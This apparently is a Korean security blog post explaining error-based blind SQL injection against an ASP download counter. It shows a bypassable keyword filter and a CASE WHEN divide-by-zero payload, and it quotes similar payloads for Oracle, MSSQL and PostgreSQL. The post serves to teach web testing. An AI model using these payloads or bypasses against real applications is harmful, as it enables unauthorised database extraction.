[사례2]Blind SQL Injection With CASE WHEN

나른한 오후 기다림이란 참 사람을 지루하게 만든당...서두는 여기 까지...
오랜만에 편안하게 조금 평서체로 작성합니다.

Blind SQL Injection에 대해서 요즘 많이 기술하게 된다. 이유는 웹 진단이 주업무인 나에게 익숙한 분야이기도 하지만 SQL Injection은 파면 팔수록 계속 새로운게 나오는 이유에서다.

이 글에서는 사례 하나를 이야기 하고자 한다(밑에 작성중인 문서를 제치고 작성 중 ㅋㅋ)

Function filterWhere(valueStr)    If inStr(valueStr,"-")>0 or       inStr(valueStr,"'")>0 or         inStr(valueStr,";")>0 or       inStr(valueStr,"=")>0 or       inStr(valueStr," and")>0 Then           Response.Redirect "/error/system_error.html"           Response.End    End If    filterWhere = valueStr  End Function

위의 코드를 보면 ASP 코드임을 유추할 수 있으며 해당 필터링 규칙을 보면 우회가 충분히 가능하다는 것을 알 수 있다.

위의 필터링은 많이 사용하는 "OR",">","<" 필터링이 없으며 "/**/and"를 이용하여 "and" 연산자 사용도 가능하다. 이정도면 일부 환경에서는 Blind SQL Injection을 수행하기에 충분한 환경이다.

하지만 이 글에서는 필터링을 우회 예제를 설명하고자 함이 아니고 특수한 환경에 대한 내용으로 작성중인 Blind SQL Injection optimization techniques 에 관한 내용과 컴퓨터의 트릭(강제 에러 유발)을 조합한 방법에 대한 내용이다.


예를 들어 아래 URL 주소의 게시판이 있다고 가정하여 설명하면 파라메터 file은 파일명이며, Seq는 게시물 번호이다.

http://localhost/board/pds_down.asp?file=test.zip&seq=777

애플리케이션은 먼저 DB에서 게시물 다운로드 횟수를 Update 이후에 파일 다운로드 순으로 구성 되어 있다.

환경은 500 에러(Internal Error)와 필터링 키워드가 발견 되었을 경우 에러처리 페이지로 이동되는 환경이다. 이러한 환경에서 DB의 다운로드 카운터 처리 로직이다.

down_str = "Update pds_board set down=down+1 where id = " & _                    filterWhere(Request("seq")) & ""  conn.Execute down_str

우리는 여기서 seq 파라메터를 조작하여 DB의 질의어 조작이 가능하다. 물론, 필터링 키워드를 제외한 문자만이 사용 가능하다.

하지만 여기서 특이 사항은 해당 구문은 사용자한테 보여주는 부문이 아니라 내부에서 처리되는 부분으로 참일 경우 거짓일 경우 모두 동일한 화면이 나타난다.

True  :  "Update pds_board set down=down+1 where id = 1 or 2>1"  True  :  "Update pds_board set down=down+1 where id = 1 or 1>2"

위의 구문은 일반적인 SQL 에서는 참, 거짓의 의미로 의도하였지만 여기서는 or 이하의 절은 무의미하다. 그 이유는 둘다 update가 수행되어 결과가 동일하기 때문이다. 그렇지만 여기에서 중요한 것은 사용자가 DB 질의어 일부를 조작이 가능하다는 것이다.

이럴 경우 일반적인 방법으로는 DB의 데이터 획득이 불가하다. 보통 Blind SQL Injection을 참/거짓 논리를 이용하여 DB의 데이터를 획득하게 된다. 여기에서는 참/거짓은 모두 동일한 결과가 나타남으로 논리적으로 참/거짓 구문이 불가하다. 이러할 경우 참/거짓이 아닌 참/에러와 같이 새로운 방법으로 DB획득이 가능하다.

DB의 획득 방법으로 MSSQL의 CASE WHEN 구문과 divide by zero를 사용하여 DB 데이터 획득이 가능하다. 즉, 에러를 유발하여 논리적인 False 상태를 만들어내는 방법으로 Divide by zero를 이용한 Blind SQL Injection 이다.

"Update pds_board set down=down+1 where id = 1   or select (case when (len(db_name())/Search Value)>0   then 1/1 else 1/0 end)>0" Search Value : 숫자 값

Divide를 이용한 Binary Search는 Blind SQL Injection optimization techniques 문서를 참고하길 바랍니다.

여기서 1/1 이면 True, 1/0이면 500 에러를 유발하여 False 상태로 논리적인 구분을 만들어 낼 수 있다. 자동화 툴을 이용하면 DB의 데이터 획득이 가능하다.

인터넷을 검색해 보니 관련 자료 몇건이 있어 추가적으로 몇가지 더 소개합니다.
역시 모든 기술은 누군가가 이전에 다 알고 있었던 것처럼 ^^; 약간 허탈해 지네요 ㅋㅋ

The following query will return a divide by zero error when the condition is true Oracle: select case when user='SYS' then 1/0 else (select 1 from dual) end from dual  MS-SQL : if ((select user) = 'sa' OR (select user) = 'dbo') select 1/0 else select 1 update: select case when( 1=1) then 1 else 1/0 end   POSTGRES : SELECT CASE WHEN (1=2) THEN 1 ELSE 1/0 END; update: case when (1=1) then 1 else (1 * (select 1 from information_schema.tables)) end)=1  MY-SQL: Doesn't work. Careful, there is a IF query handling Denial OF service which kills the database in old versions.  update: select case when (1=1) then 1 else 1*(select table_name from information_schema.tables)end)=1  returns error 'multiple rows returned by subquery'  when the condition is false

※ 댓글 형태로 게시된 글이여서 링크는 생략합니다.


p.s
아~함... 기억이 났을때 후딱 적어 봤는뎅 ㅋㅋ 제대로 기술한건가? 모르겠당
이전에는 인용구(Single Quote)하나면 모든 SQL Injection과 Blind SQL Injection을 찾을 수 있다고 생각했당. 물론 공부하는 사람한테는 맞는 말인지 모르겠지만 갈수록 99%가 아닌 1%가 커져가고 있다. Single Quote로는 도저히 찾을 수 없는 Blind SQL Injection도 많이 있다는 것을...기회가 되면 많은 사례를 적어 봐야지.. 궁시렁 궁시렁